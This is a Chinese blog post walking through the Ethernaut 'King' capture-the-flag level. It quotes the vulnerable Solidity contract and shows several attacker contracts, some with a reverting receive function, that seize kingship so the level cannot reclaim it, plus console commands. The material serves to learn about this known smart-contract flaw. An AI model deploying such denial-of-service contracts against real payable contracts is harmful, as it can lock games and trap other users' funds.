2023-02-26 king 第9个任务分析

题目要求:

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
下面的合约代表了一个非常简单的游戏:谁向它发送的以太币数量大于当前奖金,谁就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖励,并在此过程中赚取了一些以太币!庞氏骗局 xD

这么有趣的游戏。你的目标是打破它。

当您将实例提交回关卡时,关卡将收回王权。如果你能避免这样的自我宣告,你就可以通过关卡。

源合约代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

简单来说,当这个合约收到eth之后,如果发送的资金大于现在的prize,会给原本的king现在的发送者资金,并且将king赋值为本次发送方。
但是点击submit instance之后,系统将会给合约发送指令重置king,使攻击者之前的努力白费。
我们要做的事,就是系统无法顺利发送指令。
即,系统发送时,会因为某些原因在payable(king).transfer(msg.value);这里卡住。
首先咱们得知道,prize是多少,才不会在require的时候被退回。
执行控制台:

await contract.prize().then(v => v.toString())

显示如下:

'1000000000000000000'

看来是1 ether没跑了。
接下来是在remix写攻击合约了。
抄来一段:

pragma solidity ^0.8.7;

contract AttackKing {

    constructor(address payable _victim) public payable {
        _victim.call.gas(1000000).value(1 ether)("");
    }

    receive() external payable {
        revert();
    }
}

由于call的这种调用法过版本了,得这样改:

pragma solidity ^0.8.7;

contract AttackKing {

    constructor(address payable _victim) public payable {
        payable(_victim).call{gas:1000000,value:1 ether}("");
        //这里必须加payable,否则编译失败
    }

    receive() external payable {
        revert();
    }
}

但是没有传入_victim,要先传入地址

pragma solidity ^0.8.7;

contract AttackKing {

    constructor() public payable {
        address _victim = 0x3049C00639E6dfC269ED1451764a046f7aE500c6;
        //这里地址不需加引号,引号不认
        //payable(_victim).call.gas(1000000).value(1 ether)("");
        payable(_victim).call{gas:1000000,value:1 ether}("");
    }

    receive() external payable {
        revert();
    }
}

预先传入参数,也传入了eth,但是直接执行之后却submit instance不成。。。

最终版本:

pragma solidity ^0.8.7;

contract ForeverKing {
    function claimKingship(address payable _to) public payable {
        (bool sent, ) = _to.call{value:msg.value}("");
        require(sent, "Failed to send value!");
    }
}

部署好合约后,再通过函数调用claimKingship_to右边参数一定要是控制台搞来的contract.address结果,记得上面的GASvalue一定要设置好(没错,deploy按键那里的),msg.value才能根据自身意愿发送1 ether
调用好后,在控制台那里键入await contract._king()
然而却是:

'0x6Bc313E161062eCCea6cf10D1cfb193eCD07FAe5'

但是submit instance,确实成功了。。。

可能构造函数阶段弄不成,一定要自己调用函数就成。
但是那样的话,fomo3d要怎么绕过机器人检定呢?

作者后话:

Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.

Ethernaut 的大部分关卡都试图揭露(当然是以一种过于简单的形式)实际发生的事情——真正的黑客攻击或真正的漏洞。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容